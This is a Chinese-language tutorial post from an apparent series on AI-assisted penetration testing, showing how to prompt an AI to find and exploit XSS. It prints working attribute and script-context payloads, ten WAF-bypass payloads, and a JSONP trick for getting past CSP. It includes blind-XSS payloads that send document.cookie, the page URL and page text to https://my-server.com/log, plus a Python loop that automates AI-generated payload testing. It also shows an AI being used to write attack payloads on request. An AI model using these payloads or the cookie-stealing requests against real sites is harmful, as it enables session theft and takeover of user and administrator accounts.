一句话:XSS 的难点从来不是 payload,而是"找到那个会被渲染的输入点,并搞清它的输出上下文"。
一、XSS 挖掘的两个核心问题
- 找点:哪些参数会被回显到页面?(反射/存储/DOM)
- 定上下文:回显在 HTML 文本、属性、JS 字符串、还是 URL 里?
传统扫描器能做第 1 步,第 2 步经常误判——因为它只会无脑塞 <script>alert(1)</script>。
AI 能帮你精确定位上下文并生成对应 payload。
二、让 AI 做输出上下文分析
把响应片段喂给 AI:
# 输入
用户输入:`test123`
服务端响应片段:
```html
<input type="text" value="test123" data-id="5">
<script>var name = 'test123';</script>
任务
- 判断该输入出现在哪些输出上下文中
- 对每个上下文,给出最小的有效 XSS Payload
- 说明为什么其他上下文的 payload 在这里无效
AI 输出:
| 上下文 | 位置 | Payload | 说明 |
| --- | --- | --- | --- |
| HTML 属性(双引号内) | `value="..."` | `"><svg onload=alert(1)>` | 需先闭合属性再闭合标签 |
| JS 字符串(单引号内) | `'...'` | `';alert(1)//` | 闭合字符串即可 |
**关键点**:AI 能解释"为什么 `<script>alert(1)</script>` 在属性里无效",这对新手极有价值。
## 三、DOM XSS 的 AI 辅助
DOM XSS 完全在浏览器端,扫描器很难处理。让 AI 分析 JS 代码:
```markdown
# 输入
前端 JS 代码:
```javascript
const hash = location.hash.slice(1);
document.getElementById('content').innerHTML = hash;
任务
判断是否存在 DOM XSS,给出触发 URL 和 payload。
AI 会直接给出:`https://target/#<img src=x onerror=alert(1)>`。
更进一步,让 AI 扫整个前端 bundle:
```markdown
# 任务
以下是前端打包后的 JS(可能被压缩)。找出所有
"source → sink" 组合:
source: location.hash/href/search, document.referrer, postMessage, window.name
sink: innerHTML, outerHTML, document.write, eval, setTimeout(string), setAttribute
输出可疑组合及触发路径。
AI 能读压缩代码(理解力强),这是它的优势场景。
四、WAF/CSP 绕过的 AI 生成
4.1 WAF 绕过
# 背景
WAF 拦截:`<script`、`onerror`、`alert`、`javascript:`
但未拦截:`<svg`、`<img`、`onload`、`confirm`、事件属性
# 任务
给出 10 条绕过 Payload,全部不包含被拦截的关键字。
典型输出:
<svg/onload=confirm(1)>
<img src=x onload=confirm(1)>
<details open ontoggle=confirm(1)>
<video><source onerror=confirm(1)>
<iframe srcdoc="<img src=1 onerror=confirm(1)>">
<xss id=x tabindex=1 onfocus=confirm(1)>
<body onpageshow=confirm(1)>
<input autofocus onfocus=confirm(1)>
<marquee onstart=confirm(1)>
<math><mtext><table><mglyph><style><!--</style><img src=1 onerror=confirm(1)>
4.2 CSP 绕过
# 背景
目标 CSP:
script-src 'self' https://cdn.trusted.com;
object-src 'none'; base-uri 'self'
# 任务
分析该 CSP 的弱点,给出绕过思路。
AI 会指出:
cdn.trusted.com若是公共 CDN(如 jsdelivr/angular),可上传 JSONP 或 Angular 库绕过- 若存在 JSONP 端点,可用
<script src="https://cdn.trusted.com/jsonp?callback=alert(1)//"> - 检查是否有
unsafe-inline遗漏点
这类推理需要结合 CSP 规范和 CDN 生态知识,AI 表现很好。
五、盲打 XSS:AI 帮你构造外带 Payload
盲 XSS(Blind XSS)需要把数据外带到自己的服务器。
# 任务
构造一个盲 XSS Payload,要求:
1. 不依赖 alert(后台无交互)
2. 把 document.cookie、当前 URL、DOM 内容外带到
https://my-server.com/log
3. 尽量短,避免被长度限制截断
4. 兼容现代浏览器
AI 输出:
<script>fetch('https://my-server.com/log?c='+btoa(document.cookie+'|'+location.href)+'&d='+btoa(document.body.innerText.slice(0,500)))</script>
更短的:
<img src=x onerror="new Image().src='//my-server.com/l?'+btoa(document.cookie)">
六、存储型 XSS 的业务链路分析
让 AI 理解业务流程,找出"输入点"和"输出点"分离的场景:
# 输入
系统功能:
1. 用户提交工单(标题、内容)
2. 客服后台查看工单列表
3. 管理员导出工单为 HTML 报表
# 任务
分析哪个环节存在存储型 XSS,以及能否命中后台/管理员。
AI 会指出:导出 HTML 报表环节如果未转义,管理员打开报表即触发——这是典型的高价值存储型 XSS(打后台)。
七、自动化:把 AI 接进扫描流程
def ai_xss_scan(url, params):
for param in params:
# 1. 先发探针,获取输出上下文
probe = "AI_PROBE_1337"
resp = requests.get(url, params={param: probe})
if probe not in resp.text:
continue # 不回显,跳过
# 2. 提取上下文片段
idx = resp.text.find(probe)
context = resp.text[max(0, idx-200): idx+200]
# 3. 让 AI 分析上下文并生成 payload
payload = ai_generate_xss_payload(context, probe)
# 4. 验证
verify = requests.get(url, params={param: payload})
if is_xss_executable(verify.text, payload):
print(f"[XSS] {param} -> {payload}")
核心创新:不是盲猜 payload,而是基于实际输出上下文生成。误报率远低于传统扫描器。
八、小结
XSS 的 AI 增效点:
| 环节 | 传统方式 | AI 方式 |
|---|---|---|
| 上下文判断 | 正则猜测 | 语义理解,准确 |
| Payload 生成 | 字典穷举 | 按上下文定制 |
| DOM XSS | 基本放弃 | 读 JS 找 source/sink |
| CSP 绕过 | 靠经验 | 结合 CDN 生态推理 |
| 盲打 | 模板套用 | 按场景定制外带 |
下一篇:AI 辅助 SSRF 与越权挖掘。
系列文章:AI 渗透测试与漏洞挖掘实战